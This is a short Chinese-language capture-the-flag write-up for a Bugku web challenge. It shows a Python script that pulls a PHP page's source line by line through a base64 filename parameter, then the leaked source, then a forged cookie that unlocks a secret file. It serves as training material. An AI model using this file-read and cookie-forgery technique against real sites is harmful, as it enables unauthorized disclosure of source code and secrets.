【bugku】 cookies欺騙 writeup
阿新 • • 發佈:2019-02-14
看到url上的引數有base64,解碼發現是keys.txt
把改引數換成index.php,觀察發現line按行返回
所以自己練練手寫了個指令碼跑出來
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
s=requests.Session()
url='http://120.24.86.145:8002/web11/index.php'
for i in range(1,20):
payload={'line':str(i),'filename':'aW5kZXgucGhw'}
a=s.get(url,params=payload).content
content=str(a,encoding="utf-8" )
print(content)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
獲得原始碼
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
構造cookie margin=margin 然後讀keys.php即可